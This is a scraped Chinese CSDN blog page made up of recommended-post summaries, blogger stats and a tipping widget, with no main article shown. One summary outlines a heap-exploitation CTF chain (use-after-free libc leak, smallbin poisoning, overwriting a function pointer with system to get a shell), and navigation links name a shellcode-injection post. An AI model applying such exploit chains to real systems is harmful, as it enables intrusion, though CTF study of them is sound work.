专注分享DPU、RDMA智能网卡/SSD(固态硬盘)产品测试与优化 352

GD32H757的can通信配置,提供方案参考!

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值。

**My Coding Family** 1841

AI 芯片片上网络 NoC 深度解析:flit、虚通道与拥塞控制如何决定 GPU/TPU/LPU 的算力利用率

AI芯片算力瓶颈不在FLOPS,而在片上网络(NoC)——数据搬运的能耗与延迟决定MFU上限。物理限制下,长线延迟不随工艺缩小,迫使NoC将全局布线拆为可流水的短链路;能量账显示,一跳传输耗能可达数十次乘加操作。拓扑选择直接影响性能:二维mesh虽布线可行,但均匀流量下每节点可用带宽按1/√N衰减,实测仅达标称值30%。虚通道、双网设计、静态调度(如Groq)等技术旨在突破此瓶颈。从总线到crossbar再到多跳NoC,本质是用延迟换可行性。未来趋势:专用通路(脉动阵列)、晶圆级集成(Cerebras)、跨

我的博客 121

在MATLAB和Simulink中设计并仿真一个智能建筑能效优化系统

智能建筑能效优化是现代建筑管理的重要组成部分,旨在通过智能化手段降低能源消耗、减少碳排放并提高居住舒适性。通过Simulink进行智能建筑能效优化仿真,可以验证控制策略的有效性、优化系统设计并降低开发成本。以下是如何在MATLAB和Simulink中设计并仿真一个智能建筑能效优化系统的详细步骤。通过上述步骤,我们成功设计并实现了基于Simulink的智能建筑能效优化仿真。该系统能够模拟复杂的建筑环境,验证能效优化策略的有效性,并通过优化设计提高建筑的能源利用效率和居住舒适性。

xiaoheshang_123的博客 140

基于STM32L4XX、HAL库的IP101GRI以太网收发器(PHY)驱动程序设计

define IP101GRI_PHY_ADDRESS 0x01 // 根据硬件设计设置PHY地址。#define IP101GRI_PHYSTS 0x10 // PHY状态寄存器。#define IP101GRI_PHYINIR 0x12 // PHY中断寄存器。#define IP101GRI_PHYCR 0x14 // PHY控制寄存器。#define IP101GRI_PHYID2 0x03 // PHY标识符2。

zhusl6688的博客 722

网安产教融合思考:如何补齐高校实战能力评价短板

不少网安专业高校都面临这样现实的难题:网安人才培养持续推进,校内已经搭建完整的教学体系,但高校培养方案可能几年修一次,企业的技术栈和攻击手法却按季度在变,学校难落地最新的技术实战教学,学生难证明实战本领,企业一边喊人才紧缺,一边感慨招不到来了就能干的应届生。网安时代,实战为王。备考平台、7天免费直播培训、免费认证考试,期待更多高校加入 CCP 人才共育生态,组织本校学子参与本轮认证,以认证带动教学,以实战对接就业,共同为行业培养 “用得上、干得好” 的实战型网络安全人才。本次报名、培训、考试全程免费,

A19911511842的博客 198

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

台湾行情数据API接入教程

想用程序获取台股行情,很多人第一步会搜“台股资料 API 推荐”,结果发现选择不少:证交所有免费接口,Yahoo Finance 也能查,券商还有自己的 API。真正写代码时才发现,有的数据只到收盘,有的延迟 20 分钟,有的必须先开户。本文先梳理台湾行情数据的几种获取渠道,再用 Python 从零搭一个可以运行的台股数据脚本:查代码清单、取实时报价和盘口、拉历史K线、做复权、用 WebSocket 接收实时推送,最后结合台积电 ADR 和新台币汇率计算跨市场溢价。

qq_34102871的博客 319

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

【基于 WebSocket 的多用户网页五子棋】—— 数据管理模块

但行好事,莫问前程

qq_42996461的博客 251

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Qt网络编程实战指南:从底层Socket到现代异步架构的选型与避坑

本文梳理Qt网络编程的核心模块与演进路线,对比QTcpSocket与QNetworkAccessManager的使用边界,结合HTTP请求与TCP长连接的完整示例,说明信号槽、内存管理与事件循环的配合方式。重点记录连接池设计、证书校验、线程亲和性等实际开发中的关键决策点,帮助读者在C/S或跨平台项目中建立稳定的网络层基座。

2402_83344867的博客 328

25.《Pwn 堆利用实战:House of Lore —— 从自出题 my_lore 到 getshell 全流程》

自出题 my_lore 打穿 House of Lore:UAF 泄露 libc,BSS 伪造 chunk 投毒 smallbin,两次 malloc 把 system 写进函数指针,附 gdb 动态验证全过程

2501_93884468的博客 472

从母钟到子钟:NTP 网络时钟系统架构与软件接口

本文从工程角度简要介绍公共场所的时间同步需求、NTP协议的定位,以及典型LED同步时钟的系统架构与硬件设计,以讯鹏科技4寸与5寸同步时钟为例。

SPZHCS的博客 190

正运动16轴脉冲网络型运动控制卡ECI1G38

16轴脉冲运动控制解决方案

weixin_57350300的博客 86

DPVS 报文黑匣子与 Crash 自动拉黑:给转发面装上“飞行记录仪“

谁打挂了我(crash dump)、他之前发了什么(慢路径环)、他还会再来(入口拉黑)。设计上我们始终坚持两条原则:记录与决策分离(黑匣子永远只说不做),以及误伤成本优先于漏放成本(三道闸门全部通过才拉黑,expire 到期自动解封)。性能上,全量快路径摘要 + 入口查表的综合开销低于 1.3%,在 FIP 网关的流量水位下不可感知。飞行记录仪的价值不在于飞机正常飞行的时候,而在于它让每一次事故都变成一次改进。对转发面来说,同样如此。

zyun360的博客 294
上一篇: ShellCode代码直接注射到远程进程内部
下一篇: Exekiller.c
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值